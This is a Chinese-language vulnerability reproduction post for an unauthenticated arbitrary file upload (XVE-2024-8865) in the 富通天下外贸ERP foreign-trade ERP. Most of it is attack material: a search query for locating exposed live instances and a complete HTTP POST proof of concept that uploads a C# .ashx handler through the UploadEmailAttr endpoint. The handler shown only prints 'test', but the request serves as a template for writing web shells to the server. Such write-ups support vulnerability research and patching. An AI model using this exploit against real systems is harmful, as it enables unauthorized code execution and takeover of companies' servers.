# 富通天下外贸ERP UploadEmailAttr 任意文件上传导致命令执行漏洞复现(XVE-2024-8865)

#### 漏洞简介

富通天下外贸ERP是一款专为外贸行业量身定制的企业资源计划（ERP）软件。它涵盖了采购、销售、库存管理、财务会计等多个方面，帮助企业实现高效的运营管理和业务流程优化。该软件还具备多语言、多币种、跨境电商等特性，适应了外贸行业跨国经营的需求。此外，富通天下外贸ERP还提供了数据分析、报表定制等功能，帮助企业进行决策分析和业务发展规划。总的来说，富通天下外贸ERP是帮助外贸企业提升管理效率、降低成本、提高竞争力的重要工具。

富通天下外贸ERP UploadEmailAttr接口处存在任意文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

#### 漏洞复现

步骤一：使用以下搜索语法获取测试资产并确定测试目标

title="用户登录\_富通天下外贸ERP"

步骤二：poc

POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1  
Host: your-ip  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
  
  
<% @ webhandler language="C#" class="AverageHandler" %>  
using System;  
using System.Web;  
public class AverageHandler : IHttpHandler  
{  
public bool IsReusable  
{ get { return true; } }  
public void ProcessRequest(HttpContext ctx)  
{  
ctx.Response.Write("test");  
}  
}

